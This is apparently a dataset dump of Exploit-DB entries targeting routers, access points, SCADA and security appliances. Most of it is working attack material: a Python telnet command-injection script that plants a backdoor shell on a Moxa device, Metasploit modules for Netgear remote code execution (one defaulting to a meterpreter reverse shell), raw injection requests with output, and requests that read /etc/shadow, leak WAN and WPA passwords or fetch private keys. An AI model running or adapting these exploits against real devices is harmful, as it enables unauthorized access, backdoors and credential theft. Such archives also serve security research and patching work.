deardaniel/secdata-raw huggingface dataset:
Exploit-DB #44398
Description: Moxa AWK-3131A 1.4 < 1.7 - 'Username' OS Command Injection
Type: remote
Platform: hardware
Date: 2017-04-03
Author: Talos

Exploit:
#!/usr/bin/env python2
import telnetlib
import re
import random
import string


# Split string into chunks, of which each is <= length
def chunkstring(s, length):
    return (s[0+i:length+i] for i in range(0, len(s), length))

# Split strings based on MAX_LEN. Encode any newlines and/or spaces.
def split_script(script):
    MAX_LEN = 28 - len('printf${IFS}"">>/var/a') - 1
    completed = []
    temp = re.split('(\n)', script)
    for content in temp:
        if len(content) != 0:
            for s in re.split('( )', content):
                if ' ' in s:
                    s = '\\x20'
                if '\n' in s:
                    s = ['\\n']
                else:
                    s = list(chunkstring(s, MAX_LEN))
                completed.append(s)

    return [item for sublist in completed for item in sublist] # Flatten nested list items

# Execute each command via the username parameter
def do_cmd(host, command):
    tn = telnetlib.Telnet(host)
    modCommand = command.replace(' ', '${IFS}') # Spaces aren't allowed, replace with ${IFS}
    tn.read_until("login: ")
    tn.write("`%s`\n" % modCommand)
    print "Sent command: %s\n    modified: %s\n        size: %d" % (command, modCommand, len(modCommand))
    tn.read_until("Password: ")
    tn.write(" " + "\n")
    tn.read_until("incorrect")
    tn.close()

# Write script to writable directory on host
def write_script(host, script, t_dir, t_name):
    print "[*] Writing shell script to host..."
    i = 0
    for token in split_script(script):
        carat = '>' if i == 0 else '>>'
        do_cmd(host, 'printf "%s"%s%s/%s' % (token, carat, t_dir, t_name))
        i+=1

    do_cmd(host, 'chmod +x %s/%s' % (t_dir,t_name))
    print "[*] Script written to: %s/%s\n" % (t_dir,t_name)

# Attempt to connect to newly-created backdoor
def backdoor_connect(host,port):
    print "[*] Attempting to connect to backdoor @ %s:%d" % (host, port)
    tn = telnetlib.Telnet(host, port)
    tn.interact()

def main():
    host = "192.168.127.253"
    port = random.randint(2048,4096)

    w_dir = '/var' # writable directory
    s_name = random.choice(string.ascii_uppercase) # /bin/sh launcher
    t_name = s_name.lower() # telnetd launcher

    # Need a shell launcher script to launch /bin/sh because
    # telnetd adds a '-h' option to the login command
    shell_launcher = "#!/bin/sh\nexec sh"

    # Launch telnetd with the launcher script as the login
    # command to execute
    telnetd_launcher = "#!/bin/sh\ntelnetd -p%d -l%s/%s" % (port, w_dir,s_name)

    write_script(host, shell_launcher, w_dir, s_name)
    write_script(host, telnetd_launcher, w_dir, t_name)

    # Execute telnetd script and attempt to connect
    do_cmd(host, '.%s/%s' % (w_dir,t_name))
    backdoor_connect(host, port)

if __name__ == "__main__":
    main()
Exploit-DB #35317
Description: Multiple Check Point Endpoint Security Products - Information Disclosure
Type: remote
Platform: hardware
Date: 2011-02-07
Author: Rapid7

Exploit:
source: https://www.securityfocus.com/bid/46224/info

Multiple Check Point endpoint security products are prone to multiple information-disclosure vulnerabilities.

Attackers can exploit these issues to harvest sensitive information that may lead to further attacks. 

http://www.example.com/conf/ssl/apache/integrity-smartcenter.cert
http://www.example.com/conf/ssl/apache/integrity-smartcenter.key
http://www.example.com/conf/ssl/apache/integrity.cert
http://www.example.com/conf/ssl/apache/integrity.key
http://www.example.com/conf/ssl/apache/smartcenter.cert
http://www.example.com/conf/ssl/integrity-keystore.jks
http://www.example.com/conf/ssl/isskeys.jks
http://www.example.com/conf/ssl/openssl.pem
http://www.example.com/conf/integrity.xml
http://www.example.com/conf/jaas/users.xml
http://www.example.com/bin/DBSeed.xml
http://www.example.com:8080/conf/ssl/apache/integrity-smartcenter.cert
Exploit-DB #48620
Description: mySCADA myPRO 7 - Hardcoded Credentials
Type: remote
Platform: hardware
Date: 2020-06-25
Author: Emre ÖVÜNÇ

Exploit:
# Exploit Title: mySCADA myPRO v7 Hardcoded Credentials
# Date: 2018-07-02
# Exploit Author: Emre ÖVÜNÇ
# Vendor Homepage: http://myscada.org
# Software Link: https://www.myscada.org/mypro/
# Version: v7.0.45
# Tested on: Windows/Linux
# CVE-2018-11311
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-11311
# https://github.com/EmreOvunc/mySCADA-myPRO-7-Hardcoded-FTP-Username-and-Password

# PoC

ftp [IP] 2121

username: myscada

[CREDENTIAL_REDACTED]
Exploit-DB #39089
Description: Netgear D6300B - '/diag.cgi?IPAddr4' Remote Command Execution
Type: remote
Platform: hardware
Date: 2014-02-05
Author: Marcel Mangold

Exploit:
source: https://www.securityfocus.com/bid/65444/info

The Netgear D6300B router is prone to the following security vulnerabilities:

1. Multiple unauthorized-access vulnerabilities
2. A command-injection vulnerability
3. An information disclosure vulnerability

An attacker can exploit these issues to gain access to potentially sensitive information, execute arbitrary commands in the context of the affected device, and perform unauthorized actions. Other attacks are also possible.

Netgear D6300B 1.0.0.14_1.0.14 is vulnerable; other versions may also be affected. 

######## REQUEST: #########
###########################
POST /diag.cgi?id=991220771 HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: de-de,de;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/DIAG_diag.htm
Authorization: Basic YWRtaW46cGFzc3dvcmQ=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 95

ping=Ping&IPAddr1=192&IPAddr2=168&IPAddr3=0&IPAddr4=1;ls&host_name=&ping_IPAddr=192.168.0.1


######## RESPONSE: ########
###########################
HTTP/1.0 200 OK
Content-length: 6672
Content-type: text/html; charset="UTF-8"
Cache-Control:no-cache
Pragma:no-cache

<!DOCTYPE HTML>
<html>
[...]
<textarea name="ping_result" class="num" cols="60" rows="12" wrap="off" readonly>
bin
cferam.001
data
dev
etc
include
lib
linuxrc
mnt
opt

&lt;/textarea&gt;
[...]
Exploit-DB #43055
Description: Netgear DGN1000 1.1.00.48 - 'Setup.cgi' Remote Code Execution (Metasploit)
Type: remote
Platform: hardware
Date: 2017-10-25
Author: Metasploit

Exploit:
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'Netgear DGN1000 Setup.cgi Unauthenticated RCE',
      'Description' => %q{
        This module exploits an unauthenticated OS command execution vulneralbility
        in the setup.cgi file in Netgear DGN1000 firmware versions up to 1.1.00.48, and
        DGN2000v1 models.
        },
      'Author' => [
        'Mumbai <https://github.com/realoriginal>', # module
        'Robort Palerie <roberto@greyhats.it>' # vuln discovery
      ],
      'References' => [
          ['EDB', '25978'],
      ],
      'DisclosureDate' => 'Jun 5 2013',
      'License' => MSF_LICENSE,
      'Platform' => 'linux',
      'Arch' => ARCH_MIPSBE,
      'DefaultTarget' => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'linux/mipsbe/meterpreter/reverse_tcp'
      },
      'Privileged' => true,
      'Payload' => {
        'DisableNops' => true,
      },
      'Targets' => [[ 'Automatic', {} ]],
    ))
  end

  def check
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET'
        })
      if res && res.headers['WWW-Authenticate']
        auth = res.headers['WWW-Authenticate']
        if auth =~ /DGN1000/
          return Exploit::CheckCode::Detected
        end
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end
    Exploit::CheckCode::Unknown
  end

  def exploit
    print_status("#{peer} - Connecting to target...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::Unknown, "#{peer} - Failed to access vulnerable URL")
    end

    print_status("#{peer} - Exploiting target ....")
    execute_cmdstager(
      :flavor => :wget,
      :linemax => 200,
      :concat_operator => " && "
    )
  end

  def execute_command(cmd, opts)
    begin
      res = send_request_cgi({
        'uri' => '/setup.cgi',
        'method' => 'GET',
        'vars_get' => {
          'next_file' => 'netgear.cfg',
          'todo' => 'syscmd',
          'cmd' => cmd.to_s,
          'curpath' => '/',
          'currentsetting.htm' => '1'
        }
      })
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end
end
Exploit-DB #22455
Description: Netgear FM114P ProSafe Wireless Router - Rule Bypass
Type: remote
Platform: hardware
Date: 2003-04-03
Author: stickler

Exploit:
source: https://www.securityfocus.com/bid/7270/info

The Netgear FM114P allows certain ports to be blocked, both for external users attempting to enter the local network and for local users connecting to the WAN. If Remote Access and Universal Plug and Play are both enabled on the WAN interface, a UPnP SOAP request can cause a connection to be intitiated through a port that is normally blocked. 

POST /upnp/service/WANPPPConnection HTTP/1.1
Content-Type: text/xml; charset="utf-8"
SOAPAction: "urn:schemas-upnp-org:service:WANPPPConnection:1#AddPortMapping"
User-Agent: Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)
Host: 192.168.0.1
Content-Length: 1123
Connection: Keep-Alive
Pragma: no-cache

<?xml version="1.0"?>
<SOAP-ENV:Envelope
xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<SOAP-ENV:Body>
<m:AddPortMapping xmlns:m="urn:schemas-upnp-org:service:WANPPPConnection:1">
<NewRemoteHost xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string"></NewRemoteHost>
<NewExternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewExternalPort>
<NewProtocol xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">TCP</NewProtocol>
<NewInternalPort xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui2">139</NewInternalPort>
<NewInternalClient xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">192.168.0.6</NewInternalClient>
<NewEnabled xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="boolean">1</NewEnabled>
<NewPortMappingDescription xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="string">NetBios</NewPortMappingDescription>
<NewLeaseDuration xmlns:dt="urn:schemas-microsoft-com:datatypes"
dt:dt="ui4">0</NewLeaseDuration>
</m:AddPortMapping>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
Exploit-DB #22453
Description: Netgear FM114P ProSafe Wireless Router - UPnP Information Disclosure
Type: remote
Platform: hardware
Date: 2003-04-03
Author: stickler

Exploit:
source: https://www.securityfocus.com/bid/7267/info

The Netgear FM114P ProSafe Wireless Router is vulnerable to information disclosure. If Remote Access and Universal Plug and Play are both enabled on the WAN interface, a UPnP SOAP request can retrieve the username and password for the WAN interface. 

POST /upnp/service/WANPPPConnection HTTP/1.1
HOST: 192.168.0.1:80
SOAPACTION: "urn:schemas-upnp-org:service:WANPPPConnection:1#GetUserName"
CONTENT-TYPE: text/xml ; charset="utf-8"
Content-Length: 289

<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetUserName
xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1" />
</s:Body>
</s:Envelope>
Exploit-DB #22236
Description: Netgear FM114P Wireless Firewall - File Disclosure
Type: remote
Platform: hardware
Date: 2003-02-10
Author: stickler

Exploit:
source: https://www.securityfocus.com/bid/6807/info

Netgear FM114P Wireless Firewalls allow directory traversal using escaped character sequences. It is possible for an unauthenticated user to retrieve the firewall's configuration file by escaping from the /upnp/service directory.

http://<ip-or-hostname>:<port>/upnp/service/%2e%2e%2fnetgear.cfg
Exploit-DB #40736
Description: Netgear JNR1010 ADSL Router - (Authenticated) Remote File Disclosure
Type: remote
Platform: hardware
Date: 2016-11-08
Author: Todor Donev

Exploit:
#!/bin/sh
# 
#  NETGEAR ADSL ROUTER JNR1010 1.0.0.16
#  Authenticated Remote File Disclosure
#
#  Hardware Version:        JNR1010
#  Firmware Version:        1.0.0.16
#  GUI Language Version:    1.0.0.16
# 
#  Copyright 2016 (c) Todor Donev 
#  <todor.donev at gmail.com>
#  https://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#
#  Disclaimer:
#  This or previous programs is for Educational 
#  purpose ONLY. Do not use it without permission. 
#  The usual disclaimer applies, especially the 
#  fact that Todor Donev is not liable for any 
#  damages caused by direct or indirect use of the 
#  information or functionality provided by these 
#  programs. The author or any Internet provider 
#  bears NO responsibility for content or misuse 
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact 
#  that any damage (dataloss, system crash, 
#  system compromise, etc.) caused by the use 
#  of these programs is not Todor Donev's 
#  responsibility.
#   
#  Use them at your own risk!
#
#  Thanks to Maya Hristova that support me.  

http://USER:PASSWORD@TARGET:PORT/cgi-bin/webproc?getpage=/etc/shadow&var:language=en_us&var:language=en_us&var:menu=advanced&var:page=basic_home

#  #root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  root:$1$BOYmzSKq$ePjEPSpkQGeBcZjlEeLqI.:13796:0:99999:7:::
#  #tw:$1$zxEm2v6Q$qEbPfojsrrE/YkzqRm7qV/:13796:0:99999:7:::
Exploit-DB #29815
Description: Netgear ReadyNAS - Perl Code Evaluation (Metasploit)
Type: remote
Platform: hardware
Date: 2013-11-25
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = ManualRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'NETGEAR ReadyNAS Perl Code Evaluation',
      'Description'    => %q{
        This module exploits a Perl code injection on NETGEAR ReadyNAS 4.2.23 and 4.1.11. The
        vulnerability exists on the web fronted, specifically on the np_handler.pl component,
        due to the insecure usage of the eval() perl function. This module has been tested
        successfully on a NETGEAR ReadyNAS 4.2.23 Firmware emulated environment, not on real
        hardware.
      },
      'Author'         =>
        [
          'Craig Young', # Vulnerability discovery
          'hdm',          # diff the patch
          'juan vazquez'  # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2013-2751' ],
          [ 'OSVDB', '98826' ],
          [ 'URL', 'http://www.tripwire.com/state-of-security/vulnerability-management/readynas-flaw-allows-root-access-unauthenticated-http-request/' ],
          [ 'URL', 'http://www.tripwire.com/register/security-advisory-netgear-readynas/' ]
        ],
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => false,
      'Payload'        =>
        {
          'Space'       => 4096, # Has into account Apache request length and base64 ratio
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic perl telnet'
            }
        },
      'Targets'        =>
        [
          [ 'NETGEAR ReadyNAS 4.2.23', { }]
        ],
      'DefaultOptions' =>
        {
          'SSL' => true
        },
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Jul 12 2013'
      ))

    register_options(
      [
        Opt::RPORT(443)
      ], self.class)

  end

  def send_request_payload(payload)
    res = send_request_cgi({
      'uri' => normalize_uri("/np_handler", ""),
      'vars_get' => {
         'PAGE' =>'Nasstate',
         'OPERATION' => 'get',
         'SECTION' => payload
      }
    })
    return res
  end

  def check
    res = send_request_payload(")")
    if res and res.code == 200 and res.body =~ /syntax error at \(eval/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end

  def exploit
    my_payload = "#{rand_text_numeric(1)});use MIME::Base64;system(decode_base64(\"#{Rex::Text.encode_base64(payload.encoded)}\")"
    print_status("#{peer} - Executing payload...")
    send_request_payload(my_payload)
  end

end
Exploit-DB #24140
Description: Netgear RP114 3.26 - Content Filter Bypass
Type: remote
Platform: hardware
Date: 2004-05-24
Author: Marc Ruef

Exploit:
source: https://www.securityfocus.com/bid/10404/info

It is reported that users may bypass Netgear RP114 content filter functionality. This can be accomplished by making a URI request string that is over 220 bytes in length.

This vulnerability may result in a false sense of security for a network administrator, where a malicious website is believed to be unreachable. In reality any host may contact blacklisted websites. 

http://www.example.com/?%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20
Exploit-DB #30673
Description: Netgear SSL312 PROSAFE SSL VPN-Concentrator 25 - Error Page Cross-Site Scripting
Type: remote
Platform: hardware
Date: 2007-10-15
Author: SkyOut

Exploit:
source: https://www.securityfocus.com/bid/26073/info

NETGEAR ProSafe SSL VPN Concentrator 25-SSL312 is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input.

Exploiting this vulnerability may allow an attacker to perform cross-site scripting attacks on unsuspecting users in the context of the affected website. As a result, the attacker may be able to steal cookie-based authentication credentials and to launch other attacks. 

http://www.example.com/cgi-bin/welcome/XYZ?err=[xss]
Exploit-DB #7712
Description: Netgear WG102 - Leaks SNMP Write Password With Read Access
Type: remote
Platform: hardware
Date: 2009-01-09
Author: Harm S.I. Vaittes

Exploit:
Dear all,

        after informing Netgear about the unsafe handling of passwords on their WG102 Access Points 
nothing happened for several weeks. To inform other users about the potential threat to their networks 
I decided to share my findings.

WG102 offers the the typical SNMP write & SNMP read community password 'protection'. SNMPv2 is already 
known for weak security, yet NETGEAR goes one step further:

the SNMP write community (password) is accessible in cleartext via the MIB which is readable via the SNMP read community.

Affected Versions:
 - Netgear WG102
        - with Firmware 4.0.16
        - Firmware 4.0.27 (latest as of 2009-01-09)

 - other firmwares and similar products probably have the same bug (just an assumption!)

Possible consequences:
- leakage of admin/write password

- Once an attacker has SNMP write acccess, she can freely reconfigure the access point. Including e.g. redirect RADIUS authentication to a rogue server.

To reproduce:

 enable snmp (default) and set different SNMP write/read passwords.

 then on a different machine do:

  snmpwalk -c READPASSWORD -v2c IP SNMPv2-SMI::enterprises.4526.4.3

 the passwords are stored in ...4526.4.3.8.4.0 and ...4526.4.3.8.5.0


Proposed fixes:

 do not enable SNMP at all. vendor fix required.


Best Regards

 'Harm S.I. Vaittes'

# milw0rm.com [2009-01-09]
Exploit-DB #35817
Description: Netgear WNDAP350 Wireless Access Point - Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: hardware
Date: 2011-06-01
Author: Juerd Waalboer

Exploit:
source: https://www.securityfocus.com/bid/48085/info

NetGear WNDAP350 wireless access point is prone to multiple remote information-disclosure issues because it fails to restrict access to sensitive information.

A remote attacker can exploit these issues to obtain sensitive information that can aid in launching further attacks.

WNDAP350 with firmware 2.0.1 and 2.0.9 are vulnerable; other firmware versions may also be affected. 

http://www.example.com/downloadFile.php
http://www.example.com/BackupConfig.php
Exploit-DB #33177
Description: Netgear WNR2000 - Multiple Information Disclosure Vulnerabilities
Type: remote
Platform: hardware
Date: 2009-08-18
Author: Jean Trolleur

Exploit:
source: https://www.securityfocus.com/bid/36076/info

The NetGear WNR2000 is prone to multiple remote information-disclosure issues because it fails to restrict access to sensitive information.

A remote attacker exploit these issues to obtain sensitive information, possibly aiding in further attacks.

NOTE: Information obtained in attacks may be used in exploits targeting the vulnerability covered in BID 36094 (NetGear WNR2000 'upg_restore.cgi' Authentication Bypass Vulnerability).

The WNR2000 with firmware 1.2.0.8 is vulnerable; other firmware versions may also be affected. 

The following example URIs are available:

http://www.example.com/router-info.htm
http://www.example.com/cgi-bin/router-info.htm
http://www.example.com/cgi-bin/NETGEAR_WNR2000.cfg
Exploit-DB #9498
Description: Netgear WNR2000 FW 1.2.0.8 - Information Disclosure
Type: remote
Platform: hardware
Date: 2009-08-24
Author: Jean Trolleur

Exploit:
Dere is several mino' vulnerabilities on de Netgear WNR2000 wireless
routa' runnin' firmware 1.2.0.8.

1. Unaudenticated disclosho' man uh WPA/WPA2 passwo'd, dig dis: Simply
request widout audenticashun:

http://netgear/router-info.htm
http://netgear/cgi-bin/router-info.htm

De routa' gots'ta respond wid:

DeviceID:WNR2000;
HardwareVersion:;
FirmwareVersion:V1.2.0.8NA;
WLAN-Security:SecurityMode=WPA-PSK-Mixed;WPAPassPhrase=omfgwtfwtfwtf

2. Unaudenticated disclosho' man uh administrato' passwo'd Simply
request widout audenticashun:

http://netgear/cgi-bin/NETGEAR_WNR2000.cfg

Skip de fust 128 bytes and ya' gots some tar dump uh de stashsystem.
WORD! Reverse engineerin' de weak admin passwo'd audenticashun scheme
be left as an 'esercise t'de eyeballer. Ah be baaad...

# milw0rm.com [2009-08-24]